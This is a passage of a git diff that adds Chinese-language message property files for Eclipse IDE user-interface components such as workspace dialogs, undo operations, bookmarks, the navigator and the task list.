+ResourceWorkingSetPage_warning_resourceMustBeChecked=\u672a\u9009\u62e9\u8d44\u6e90\u3002 +ResourceWorkingSetPage_error=\u9519\u8bef +ResourceWorkingSetPage_error_updateCheckedState=\u66f4\u65b0\u9009\u62e9\u72b6\u6001\u65f6\u51fa\u9519 +ResourceWorkingSetPage_selectAll_label=\u5168\u90e8\u9009\u4e2d(&A) +ResourceWorkingSetPage_selectAll_toolTip=\u4e3a\u6b64\u5de5\u4f5c\u96c6\u9009\u62e9\u6240\u6709\u8fd9\u4e9b\u8d44\u6e90\u3002 +ResourceWorkingSetPage_deselectAll_label=\u5168\u90e8\u4e0d\u9009(&L) +ResourceWorkingSetPage_deselectAll_toolTip=\u4e3a\u6b64\u5de5\u4f5c\u96c6\u53d6\u6d88\u9009\u62e9\u6240\u6709\u8fd9\u4e9b\u8d44\u6e90\u3002 +ResourceEncodingFieldEditor_ErrorLoadingMessage=\u88c5\u5165\u7f16\u7801\u65f6\u51fa\u9519 +ResourceEncodingFieldEditor_ErrorStoringMessage=\u5b58\u50a8\u7f16\u7801\u65f6\u51fa\u9519 +ResourceEncodingFieldEditor_EncodingConflictTitle=\u7f16\u7801\u4e2d\u5b58\u5728\u51b2\u7a81 +ResourceEncodingFieldEditor_EncodingConflictMessage={0} \u4e0e\u5728\u5185\u5bb9\u7c7b\u578b\uff08{1}\uff09\u4e2d\u5b9a\u4e49\u7684\u7f16\u7801\u53d1\u751f\u51b2\u7a81\u3002\u60a8\u65e0\u8bba\u5982\u4f55\u90fd\u60f3\u8981\u8bbe\u7f6e\u5b83\u5417\uff1f +ChooseWorkspaceDialog_dialogName=\u5de5\u4f5c\u7a7a\u95f4\u542f\u52a8\u7a0b\u5e8f +ChooseWorkspaceDialog_dialogTitle=\u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4 +ChooseWorkspaceDialog_dialogMessage={0} \u5c06\u60a8\u7684\u9879\u76ee\u4fdd\u5b58\u5728\u540d\u4e3a\u67d0\u5de5\u4f5c\u7a7a\u95f4\u7684\u6587\u4ef6\u5939\u4e2d\u3002\n\u9009\u62e9\u4e00\u4e2a\u7528\u4e8e\u6b64\u4f1a\u8bdd\u7684\u5de5\u4f5c\u7a7a\u95f4\u6587\u4ef6\u5939\u3002 +ChooseWorkspaceDialog_defaultProductName=\u6b64\u4ea7\u54c1 +ChooseWorkspaceDialog_workspaceEntryLabel=\u5de5\u4f5c\u7a7a\u95f4(&W)\uff1a +ChooseWorkspaceDialog_browseLabel=\u6d4f\u89c8(&B)... +ChooseWorkspaceDialog_directoryBrowserTitle=\u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4\u76ee\u5f55 +ChooseWorkspaceDialog_directoryBrowserMessage=\u9009\u62e9\u8981\u4f7f\u7528\u7684\u5de5\u4f5c\u7a7a\u95f4\u76ee\u5f55\u3002 +ChooseWorkspaceDialog_useDefaultMessage=\u5c06\u6b64\u503c\u7528\u4f5c\u7f3a\u7701\u503c\u5e76\u4e14\u4e0d\u518d\u8be2\u95ee(&U) +ChooseWorkspaceWithSettingsDialog_SettingsGroupName=\u590d\u5236\u8bbe\u7f6e(&C) +ChooseWorkspaceWithSettingsDialog_ProblemsTransferTitle=\u4f20\u9001\u8bbe\u7f6e\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +ChooseWorkspaceWithSettingsDialog_TransferFailedMessage=\u4f20\u9001\u8bbe\u7f6e\u5931\u8d25 +ChooseWorkspaceWithSettingsDialog_SaveSettingsFailed=\u672a\u80fd\u4fdd\u5b58\u8bbe\u7f6e +ChooseWorkspaceWithSettingsDialog_ClassCreationFailed=\u672a\u80fd\u5b9e\u4f8b\u5316 {0} +IDEApplication_workspaceMandatoryTitle=\u5de5\u4f5c\u7a7a\u95f4\u662f\u5fc5\u9700\u7684 +IDEApplication_workspaceMandatoryMessage=IDE \u9700\u8981\u6709\u6548\u7684\u5de5\u4f5c\u7a7a\u95f4\u3002\u4e0d\u5e26 @none \u9009\u9879\u8fdb\u884c\u91cd\u65b0\u542f\u52a8\u3002 +IDEApplication_workspaceInUseTitle=\u5de5\u4f5c\u7a7a\u95f4\u4e0d\u53ef\u7528 +IDEApplication_workspaceInUseMessage=\u6b63\u5728\u4f7f\u7528\u5de5\u4f5c\u7a7a\u95f4\u6216\u8005\u65e0\u6cd5\u521b\u5efa\u5de5\u4f5c\u7a7a\u95f4\uff0c\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u5de5\u4f5c\u7a7a\u95f4\u3002 +IDEApplication_workspaceEmptyTitle=\u9700\u8981\u7684\u5de5\u4f5c\u7a7a\u95f4 +IDEApplication_workspaceEmptyMessage=\u5de5\u4f5c\u7a7a\u95f4\u5b57\u6bb5\u4e0d\u80fd\u662f\u7a7a\u7684\uff1b\u8f93\u5165\u4e00\u4e2a\u8def\u5f84\u4ee5\u7ee7\u7eed\u3002 +IDEApplication_workspaceInvalidTitle=\u5de5\u4f5c\u7a7a\u95f4\u65e0\u6548 +IDEApplication_workspaceInvalidMessage=\u6240\u9009\u5de5\u4f5c\u7a7a\u95f4\u65e0\u6548\uff1b\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u5de5\u4f5c\u7a7a\u95f4\u3002 +IDEApplication_workspaceCannotBeSetTitle=\u65e0\u6cd5\u521b\u5efa\u5de5\u4f5c\u7a7a\u95f4 +IDEApplication_workspaceCannotBeSetMessage=\u672a\u80fd\u542f\u52a8\u4ea7\u54c1\uff0c\u539f\u56e0\u662f\u65e0\u6cd5\u521b\u5efa\u6307\u5b9a\u7684\u5de5\u4f5c\u7a7a\u95f4\u3002\u6307\u5b9a\u7684\u5de5\u4f5c\u7a7a\u95f4\u76ee\u5f55\u65e0\u6548\u6216\u53ea\u8bfb\u3002 +IDEApplication_workspaceCannotLockTitle=\u65e0\u6cd5\u9501\u5b9a\u5de5\u4f5c\u7a7a\u95f4 +IDEApplication_workspaceCannotLockMessage=\u672a\u80fd\u542f\u52a8\u4ea7\u54c1\uff0c\u539f\u56e0\u662f\u53e6\u4e00\u4e2a Eclipse \u5e94\u7528\u7a0b\u5e8f\u5f53\u524d\u6b63\u5728\u4f7f\u7528\u76f8\u5173\u8054\u7684\u5de5\u4f5c\u7a7a\u95f4\u3002 +IDEApplication_versionTitle=\u4e0d\u540c\u7684\u5de5\u4f5c\u7a7a\u95f4\u7248\u672c +IDEApplication_versionMessage=\u6b64\u5de5\u4f5c\u7a7a\u95f4\u7528\u4e0d\u540c\u7248\u672c\u7684\u4ea7\u54c1\u7f16\u5199\uff0c\u9700\u8981\u8fdb\u884c\u66f4\u65b0\u3002\n\n{0}\n\n\u66f4\u65b0\u5de5\u4f5c\u7a7a\u95f4\u53ef\u80fd\u4f1a\u4f7f\u5176\u4e0e\u8be5\u4ea7\u54c1\u7684\u5176\u4ed6\u7248\u672c\u4e0d\u517c\u5bb9\u3002\n\u6309\u201c\u786e\u5b9a\u201d\u53ef\u66f4\u65b0\u5e76\u6253\u5f00\u5de5\u4f5c\u7a7a\u95f4\u3002\u6309\u201c\u53d6\u6d88\u201d\u53ef\u9009\u62e9\u4e00\u4e2a\u4e0d\u540c\u7684\u5de5\u4f5c\u7a7a\u95f4\u3002 +CleanDialog_buildCleanAuto=\u201c\u6e05\u7406\u201d\u5c06\u5e9f\u5f03\u6240\u6709\u6784\u5efa\u95ee\u9898\u548c\u6784\u5efa\u72b6\u6001\u3002\u5c06\u4ece\u5934\u5f00\u59cb\u91cd\u5efa\u9879\u76ee\u3002 +CleanDialog_buildCleanManual=\u6e05\u7406\u5c06\u5e9f\u5f03\u6240\u6709\u6784\u5efa\u95ee\u9898\u548c\u6784\u5efa\u72b6\u6001\u3002\u4e0b\u4e00\u6b21\u8fdb\u884c\u6784\u5efa\u65f6\uff0c\u5c06\u4ece\u5934\u5f00\u59cb\u91cd\u5efa\u9879\u76ee\u3002 +CleanDialog_title=\u6e05\u7406 +CleanDialog_cleanAllButton=\u6e05\u7406\u6240\u6709\u9879\u76ee(&A) +CleanDialog_cleanSelectedButton=\u6e05\u7406\u4e0b\u9762\u6240\u9009\u9879\u76ee(&S) +CleanDialog_buildNowButton=\u7acb\u5373\u5f00\u59cb\u6784\u5efa(&B) +CleanDialog_globalBuildButton=\u6784\u5efa\u6574\u4e2a\u5de5\u4f5c\u7a7a\u95f4 +CleanDialog_buildSelectedProjectsButton=\u4ec5\u6784\u5efa\u9009\u5b9a\u7684\u5de5\u7a0b +CleanDialog_cleanSelectedTaskName=\u6e05\u7406\u6240\u9009\u9879\u76ee +CleanDialog_cleanAllTaskName=\u6e05\u7406\u6240\u6709\u9879\u76ee +IDEEncoding_EncodingJob=\u8bbe\u7f6e\u7f16\u7801 +IDEEditorsPreferencePage_WorkbenchPreference_FileEditorsRelatedLink=\u6709\u5173\u5982\u4f55\u4f7f\u7f16\u8f91\u5668\u4e0e\u6587\u4ef6\u7c7b\u578b\u76f8\u5173\u8054\u7684\u4fe1\u606f\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +IDEEditorsPreferencePage_WorkbenchPreference_viewsRelatedLink=\u6709\u5173\u5916\u89c2\u9996\u9009\u9879\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +IDEEditorsPreferencePage_WorkbenchPreference_contentTypesRelatedLink=\u6709\u5173\u57fa\u4e8e\u5185\u5bb9\u7c7b\u578b\u7684\u6587\u4ef6\u5173\u8054\uff0c\u8bf7\u53c2\u9605\u201c{0}\u201d\u3002 +WorkbenchEncoding_invalidCharset={0} \u4e0d\u662f\u6709\u6548\u7684\u5b57\u7b26\u96c6\u3002 +IDE_areYouSure={0} \u786e\u5b9e\u8981\u7ee7\u7eed\u5417\uff1f +SystemSettingsChange_title=\u9ad8\u5bf9\u6bd4\u65b9\u5f0f\u66f4\u6539 +SystemSettingsChange_message=\u9ad8\u5bf9\u6bd4\u65b9\u5f0f\u5df2\u66f4\u6539\u3002\u9700\u8981\u91cd\u65b0\u542f\u52a8\u5de5\u4f5c\u53f0\u624d\u80fd\u5b8c\u6210\u66f4\u6539\u3002\u73b0\u5728\u5c31\u91cd\u65b0\u542f\u52a8\u5417\uff1f +SystemSettingsChange_yes=\u662f +SystemSettingsChange_no=\u5426 +UnsupportedVM_message=GCJ \u5df2\u88ab\u68c0\u6d4b\u4e3a\u5f53\u524d\u7684 Java \u865a\u62df\u673a\u3002GCJ \u7684\u9002\u7528\u6027\u5c1a\u672a\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u4e0d\u53d7\u652f\u6301\u3002\u6709\u5173\u66f4\u591a\u4fe1\u606f\uff0c\u8bf7\u53c2\u9605\u6587\u6863\u3002 +IDEWorkbenchActivityHelper_jobName=\u66f4\u65b0\u80fd\u529b\u5b9e\u73b0\u6027\u80fd +OpenDelayedFileAction_title=\u6253\u5f00\u6587\u4ef6 +OpenDelayedFileAction_message_errorOnOpen=\u672a\u80fd\u6253\u5f00\u6587\u4ef6\u201c{0}\u201d\u3002\n\u8bf7\u53c2\u9605\u65e5\u5fd7\u4ee5\u83b7\u53d6\u8be6\u7ec6\u4fe1\u606f\u3002 +OpenDelayedFileAction_message_fileNotFound=\u627e\u4e0d\u5230\u6587\u4ef6\u201c{0}\u201d\u3002 + +# 2013-04-16 \u4fee\u6539 +DeleteResourceAction_deleteContents1 = \u5220\u9664\u9879\u76ee\u7684\u540c\u65f6\uff0c\u4e5f\u5c06\u5220\u9664\u5982\u4e0b\u6587\u4ef6\u5939\uff1a\n{0} +DeleteResourceAction_deleteContentsDetails = \u8bf7\u6ce8\u610f\uff1a\u6b64\u64cd\u4f5c\u65e0\u6cd5\u64a4\u9500\u3002 diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/undo/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/undo/messages_zh.properties new file mode 100644 index 0000000..5d74b71 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/undo/messages_zh.properties @@ -0,0 +1,39 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +AbstractWorkspaceOperation_ExecuteErrorTitle=\u6267\u884c\u201c{0}\u201d\u64cd\u4f5c\u65f6\u51fa\u9519 +AbstractWorkspaceOperation_ErrorInvalidMessage=\u64cd\u4f5c {0} \u5df2\u4e0d\u518d\u6709\u6548\u3002 +AbstractWorkspaceOperation_GenericWarningMessage=\u64cd\u4f5c {0} \u53ef\u80fd\u672a\u6309\u9884\u671f\u5b8c\u6210\u3002 +AbstractWorkspaceOperation_RedoErrorTitle=\u91cd\u505a\u201c{0}\u201d\u64cd\u4f5c\u65f6\u51fa\u9519 +AbstractWorkspaceOperation_UndoErrorTitle=\u64a4\u9500\u201c{0}\u201d\u64cd\u4f5c\u65f6\u51fa\u9519 +AbstractWorkspaceOperation_SideEffectsWarningTitle=\u526f\u4f5c\u7528 +AbstractWorkspaceOperation_ExecuteSideEffectsWarningMessage=\u6267\u884c\u201c{0}\u201d\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +AbstractWorkspaceOperation_UndoSideEffectsWarningMessage=\u64a4\u9500\u201c{0}\u201d\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +AbstractWorkspaceOperation_RedoSideEffectsWarningMessage=\u91cd\u505a\u201c{0}\u201d\u53ef\u80fd\u4f1a\u4ea7\u751f\u4e0d\u826f\u526f\u4f5c\u7528\u3002 +AbstractResourcesOperation_ResourcesDoNotExist=\u4e0d\u80fd\u5b8c\u6210\u64cd\u4f5c\uff0c\u539f\u56e0\u662f\u8d44\u6e90\u4e0d\u518d\u5b58\u5728\u3002 +AbstractResourcesOperation_ResourcesAlreadyExist=\u4e0d\u80fd\u521b\u5efa\u6216\u590d\u539f\u8d44\u6e90\uff0c\u539f\u56e0\u662f\u5b83\u5df2\u5b58\u5728\u3002 +AbstractResourcesOperation_NotEnoughInfo=\u6ca1\u6709\u8db3\u591f\u7684\u4fe1\u606f\u6765\u5b8c\u6210\u8d44\u6e90\u64cd\u4f5c\u3002 +AbstractResourcesOperation_InvalidRestoreInfo=\u6ca1\u6709\u8db3\u591f\u7684\u4fe1\u606f\u6765\u521b\u5efa\u6216\u590d\u539f\u8d44\u6e90\u3002 +AbstractResourcesOperation_DeleteResourcesProgress=\u6b63\u5728\u5220\u9664\u8d44\u6e90... +AbstractResourcesOperation_CreateResourcesProgress=\u6b63\u5728\u521b\u5efa\u8d44\u6e90... +AbstractResourcesOperation_CopyingResourcesProgress=\u6b63\u5728\u590d\u5236\u8d44\u6e90... +AbstractResourcesOperation_MovingResources=\u6b63\u5728\u79fb\u52a8\u8d44\u6e90... +AbstractResourcesOperation_outOfSyncError=\u8d44\u6e90\u4e0e\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\u3002\u5237\u65b0\u5e76\u518d\u8bd5\u3002 +AbstractResourcesOperation_outOfSyncQuestion=\u8d44\u6e90\u201c{0}\u201d\u4e0e\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\u3002\u4e00\u5b9a\u8981\u5220\u9664\u5b83\u5417\uff1f +AbstractResourcesOperation_deletionMessageTitle=\u5220\u9664\u65f6\u51fa\u73b0\u4e86\u95ee\u9898 +AbstractResourcesOperation_deletionExceptionMessage=\u5220\u9664\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u591a\u4e2a\u95ee\u9898\u3002 +AbstractCopyOrMoveResourcesOperation_SameNameOrLocation=\u4e0d\u80fd\u5c06\u8d44\u6e90\u79fb\u52a8\u6216\u590d\u5236\u5230\u540c\u4e00\u4f4d\u7f6e\u548c\u540d\u79f0\u3002 +AbstractCopyOrMoveResourcesOperation_ResourceDoesNotExist=\u8d44\u6e90\u5728\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u4e0d\u518d\u5b58\u5728\u3002 +AbstractCopyOrMoveResourcesOperation_copyProjectProgress=\u6b63\u5728\u590d\u5236\u9879\u76ee... +AbstractCopyOrMoveResourcesOperation_moveProjectProgress=\u6b63\u5728\u79fb\u52a8\u9879\u76ee... +CopyResourcesOperation_NotAllowedDueToDataLoss=\u590d\u5236\u7684\u539f\u59cb\u8d44\u6e90\u4e0d\u518d\u5b58\u5728\u3002\u64a4\u9500\u590d\u5236\u4e0d\u518d\u6709\u6548\uff0c\u539f\u56e0\u662f\u6570\u636e\u53ef\u80fd\u5df2\u4e22\u5931\u3002 +ProjectDescription_NewProjectProgress=\u6b63\u5728\u521b\u5efa\u65b0\u9879\u76ee... +FileDescription_NewFileProgress=\u6b63\u5728\u521b\u5efa\u65b0\u6587\u4ef6... +FileDescription_ContentsCouldNotBeRestored=\u610f\u5916\u9519\u8bef\u3002\u672a\u80fd\u5728\u64a4\u9500\uff0f\u91cd\u505a\u65f6\u4ece\u672c\u5730\u5386\u53f2\u8bb0\u5f55\u590d\u539f\u6587\u4ef6\u5185\u5bb9\u3002 +FileDescription_SavingUndoInfoProgress=\u6b63\u5728\u4fdd\u5b58\u6587\u4ef6\u4fe1\u606f... +FolderDescription_NewFolderProgress=\u6b63\u5728\u521b\u5efa\u65b0\u6587\u4ef6\u5939... +FolderDescription_SavingUndoInfoProgress=\u6b63\u5728\u4fdd\u5b58\u6587\u4ef6\u5939\u4fe1\u606f... +MarkerOperation_ResourceDoesNotExist=\u4e0d\u80fd\u5b8c\u6210\u64cd\u4f5c\uff0c\u539f\u56e0\u662f\u8d44\u6e90\u4e0d\u518d\u5b58\u5728\u3002 +MarkerOperation_MarkerDoesNotExist=\u4e0d\u80fd\u5b8c\u6210\u64cd\u4f5c\uff0c\u539f\u56e0\u662f\u6807\u8bb0\u4e0d\u518d\u5b58\u5728\u3002 +MarkerOperation_NotEnoughInfo=\u6ca1\u6709\u8db3\u591f\u7684\u4fe1\u606f\u6765\u6267\u884c\u6807\u8bb0\u64cd\u4f5c\u3002 +MarkerOperation_CreateProgress=\u6b63\u5728\u521b\u5efa\u6807\u8bb0... +MarkerOperation_DeleteProgress=\u6b63\u5728\u5220\u9664\u6807\u8bb0... +MarkerOperation_UpdateProgress=\u6b63\u5728\u66f4\u65b0\u6807\u8bb0... \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/bookmarkexplorer/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/bookmarkexplorer/messages_zh.properties new file mode 100644 index 0000000..68b242f --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/bookmarkexplorer/messages_zh.properties @@ -0,0 +1,39 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +CopyBookmark_text=\u590d\u5236(&C) +PasteBookmark_text=\u7c98\u8d34(&P) +PasteBookmark_undoText=\u7c98\u8d34\u4e66\u7b7e +PasteBookmark_errorTitle=\u7c98\u8d34\u4e66\u7b7e\u65f6\u51fa\u9519 +OpenBookmark_text=\u8f6c\u81f3(&G) +OpenBookmark_toolTip=\u8f6c\u81f3 +OpenBookmark_errorTitle=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +RemoveBookmark_text=\u5220\u9664(&D) +RemoveBookmark_toolTip=\u5220\u9664 +RemoveBookmark_undoText=\u5220\u9664\u4e66\u7b7e +RemoveBookmark_errorTitle=\u5220\u9664\u4e66\u7b7e\u65f6\u51fa\u9519 +SelectAll_text=\u5168\u90e8\u9009\u4e2d(&L) +SelectAll_toolTip=\u5168\u90e8\u9009\u4e2d +Properties_text=\u5c5e\u6027(&R) +ColumnDescription_text=\u6309\u63cf\u8ff0(&D) +ColumnResource_text=\u6309\u8d44\u6e90(&R) +ColumnFolder_text=\u6309\u6587\u4ef6\u5939(&F) +ColumnLocation_text=\u6309\u4f4d\u7f6e(&L) +ColumnCreationTime_text=\u6309\u521b\u5efa\u65f6\u95f4(&C) +LineIndicator_text=\u7b2c {0} \u884c +ColumnDescription_header=\u63cf\u8ff0 +ColumnResource_header=\u8d44\u6e90 +ColumnFolder_header=\u6240\u5728\u6587\u4ef6\u5939 +ColumnLocation_header=\u4f4d\u7f6e +ColumnDescription_dialogText=\u63cf\u8ff0\uff1a +ColumnResource_dialogText=\u8d44\u6e90\uff1a +ColumnFolder_dialogText=\u6240\u5728\u6587\u4ef6\u5939\uff1a +ColumnLocation_dialogText=\u4f4d\u7f6e\uff1a +SortMenuGroup_text=\u6392\u5e8f(&S) +SortDirectionAscending_text=\u5347\u5e8f(&A) +SortDirectionDescending_text=\u964d\u5e8f(&E) +PropertiesDialogTitle_text=\u4e66\u7b7e\u5c5e\u6027 +MarkerCreationTime_text=\u521b\u5efa\u65f6\u95f4(&C)\uff1a +Error_text=\u9519\u8bef(&E) +CopyToClipboardProblemDialog_title=\u590d\u5236\u5230\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898 +CopyToClipboardProblemDialog_message=\u8bbf\u95ee\u7cfb\u7edf\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898\u3002\u8981\u91cd\u8bd5\u5417\uff1f +CreateBookmark_undoText=\u6dfb\u52a0\u4e66\u7b7e +ModifyBookmark_undoText=\u4fee\u6539\u4e66\u7b7e \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/framelist/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/framelist/messages_zh.properties new file mode 100644 index 0000000..a4f3bbf --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/framelist/messages_zh.properties @@ -0,0 +1,12 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +Back_text=\u540e\u9000(&B) +Back_toolTip=\u8fd4\u56de +Back_toolTipOneArg=\u8fd4\u56de\u5230 {0} +Forward_text=\u524d\u8fdb(&F) +Forward_toolTip=\u524d\u8fdb +Forward_toolTipOneArg=\u524d\u8fdb\u81f3 {0} +GoInto_text=\u8fdb\u5165(&I) +GoInto_toolTip=\u8f6c\u81f3 +Up_text=\u5411\u4e0a\u4e00\u7ea7(&U) +Up_toolTip=\u5411\u4e0a +Up_toolTipOneArg=\u5411\u4e0a\u81f3 {0} \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/navigator/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/navigator/messages_zh.properties new file mode 100644 index 0000000..21bfcd6 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/navigator/messages_zh.properties @@ -0,0 +1,48 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ResourceNavigator_oneItemSelected=\u5df2\u9009\u62e9 1 \u9879 +ResourceNavigator_statusLine=\u5df2\u9009\u62e9 {0} \u9879 +ResourceNavigator_workingSetToolTip=\u5de5\u4f5c\u96c6\uff1a{0} +ResourceNavigator_workingSetInputToolTip={0} \uff0d \u5de5\u4f5c\u96c6\uff1a{1} +ResourceManager_toolTip=\u5de5\u4f5c\u7a7a\u95f4 +ShowInNavigator_errorMessage=\u4e0d\u80fd\u6253\u5f00\u5bfc\u822a\u5668 +ResourceNavigator_sort=\u6392\u5e8f(&S) +SortView_byType=\u6309\u7c7b\u578b(&T) +SortView_toolTipByType=\u6309\u7c7b\u578b\u6392\u5e8f +SortView_byName=\u6309\u540d\u79f0(&N) +SortView_toolTipByName=\u6309\u540d\u79f0\u6392\u5e8f +ToggleLinkingAction_text=\u4f7f\u7528\u7f16\u8f91\u5668\u94fe\u63a5(&L) +ToggleLinkingAction_toolTip=\u4e0e\u7f16\u8f91\u5668\u94fe\u63a5 +ResourceNavigator_filterText=\u8fc7\u6ee4\u5668(&F)... +ResourceNavigator_new=\u65b0\u5efa(&W) +ResourceNavigator_openWith=\u6253\u5f00\u65b9\u5f0f(&H) +ShowInNavigator_text=\u5728\u5bfc\u822a\u5668\u4e2d\u663e\u793a(&N) +ShowInNavigator_toolTip=\u5728\u5bfc\u822a\u5668\u89c6\u56fe\u4e2d\u663e\u793a\u6240\u9009\u5bf9\u8c61 +CopyAction_title=\u590d\u5236(&C) +CopyAction_toolTip=\u590d\u5236 +PasteAction_title=\u7c98\u8d34(&P) +PasteAction_toolTip=\u7c98\u8d34 +CollapseAllAction_title=\u5168\u90e8\u6298\u53e0(&L) +CollapseAllAction_toolTip=\u5168\u90e8\u6298\u53e0 +GoToResource_label=\u8d44\u6e90(&R)... +NavigatorFrameSource_closedProject_title=\u5df2\u5173\u95ed\u7684\u9879\u76ee +NavigatorFrameSource_closedProject_message=\u5c1d\u8bd5\u8fdb\u5165\u5173\u95ed\u7684\u9879\u76ee\uff1a{0}\n\u8bf7\u6253\u5f00\u8be5\u9879\u76ee\u5e76\u518d\u8bd5\u3002 +Goto_title=\u8f6c\u81f3\u8d44\u6e90 +FilterSelection_message=\u9009\u62e9\u8981\u5e94\u7528\u7684\u8fc7\u6ee4\u5668\uff08\u5339\u914d\u7684\u6587\u4ef6\u5c06\u9690\u85cf\u8d77\u6765\uff09(&F)\uff1a +FilterSelection_toolTip=\u5e94\u7528\u8fc7\u6ee4\u5668 +FilterSelection_title=\u5bfc\u822a\u5668\u8fc7\u6ee4\u5668 +DropAdapter_title=\u62d6\u653e\u95ee\u9898 +DropAdapter_problemImporting=\u5bfc\u5165\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +DropAdapter_problemsMoving=\u79fb\u52a8\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +DropAdapter_question=\u95ee\u9898 +DropAdapter_targetMustBeResource=\u76ee\u6807\u5fc5\u987b\u662f\u8d44\u6e90 +DropAdapter_canNotDropIntoClosedProject=\u4e0d\u80fd\u5c06\u8d44\u6e90\u653e\u5165\u5df2\u5173\u95ed\u7684\u9879\u76ee +DropAdapter_resourcesCanNotBeSiblings=\u8d44\u6e90\u4e0d\u80fd\u662f\u9879\u76ee\u7684\u540c\u4ee3 +DropAdapter_ok=\u786e\u5b9a +DropAdapter_overwriteQuery={0} \u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5b83\u5417\uff1f +DropAdapter_dropOperationErrorOther=\u5220\u9664\u64cd\u4f5c\u671f\u95f4\u53d1\u751f\u4e86\u9519\u8bef\u3002 +DragAdapter_title=\u68c0\u67e5\u79fb\u52a8 +DragAdapter_checkDeleteMessage={0} \u662f\u53ea\u8bfb\u7684\u3002 \u4ecd\u7136\u5e0c\u671b\u5c06\u5b83\u5220\u9664\u5417\uff1f +CopyToClipboardProblemDialog_title=\u590d\u5236\u5230\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898 +CopyToClipboardProblemDialog_message=\u8bbf\u95ee\u7cfb\u7edf\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898\u3002\u8981\u91cd\u8bd5\u5417\uff1f +MoveResourceAction_title=\u68c0\u67e5\u79fb\u52a8 +MoveResourceAction_checkMoveMessage=\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002\u60a8\u4ecd\u7136\u60f3\u79fb\u52a8\u5b83\u5417\uff1f \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/properties/ideMessages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/properties/ideMessages_zh.properties new file mode 100644 index 0000000..2771778 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/properties/ideMessages_zh.properties @@ -0,0 +1,18 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +PropertySource_notLocal=<\u4e0d\u662f\u672c\u5730\u7684> +PropertySource_notFound=<\u8d44\u6e90\u4e0d\u5b58\u5728> +PropertySource_readOnly=\u53ea\u8bfb +PropertySource_undefinedPathVariable=<\u672a\u5b9a\u4e49\u7684\u8def\u5f84\u53d8\u91cf> +PropertySource_fileNotExist=\uff0d\uff08\u4e0d\u5b58\u5728\uff09 +IResourcePropertyConstants_name=\u540d\u79f0 +IResourcePropertyConstants_path=\u8def\u5f84 +IResourcePropertyConstants_editable=\u53ef\u7f16\u8f91 +IResourcePropertyConstants_derived=\u6d3e\u751f\u7684 +IResourcePropertyConstants_size=\u5927\u5c0f +IResourcePropertyConstants_lastModified=\u4e0a\u6b21\u4fee\u6539\u65f6\u95f4 +IResourcePropertyConstants_info=\u4fe1\u606f +IResourcePropertyConstants_location=\u4f4d\u7f6e +IResourcePropertyConstants_resolvedLocation=\u89e3\u6790\u7684\u4f4d\u7f6e +IResourcePropertyConstants_linked=\u94fe\u63a5 +ResourceProperty_false=false +ResourceProperty_true=true \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/tasklist/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/tasklist/messages_zh.properties new file mode 100644 index 0000000..f6163e9 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/views/tasklist/messages_zh.properties @@ -0,0 +1,126 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +TaskList_line=\u7b2c {0} \u884c +TaskList_lineAndLocation={1} \u4e2d\u7684\u7b2c {0} \u884c +TaskList_statusSummaryVisible={0,choice,0\# 0 \u9879 |1\#{0,number,integer} \u9879 |1<{0,number,integer} \u9879 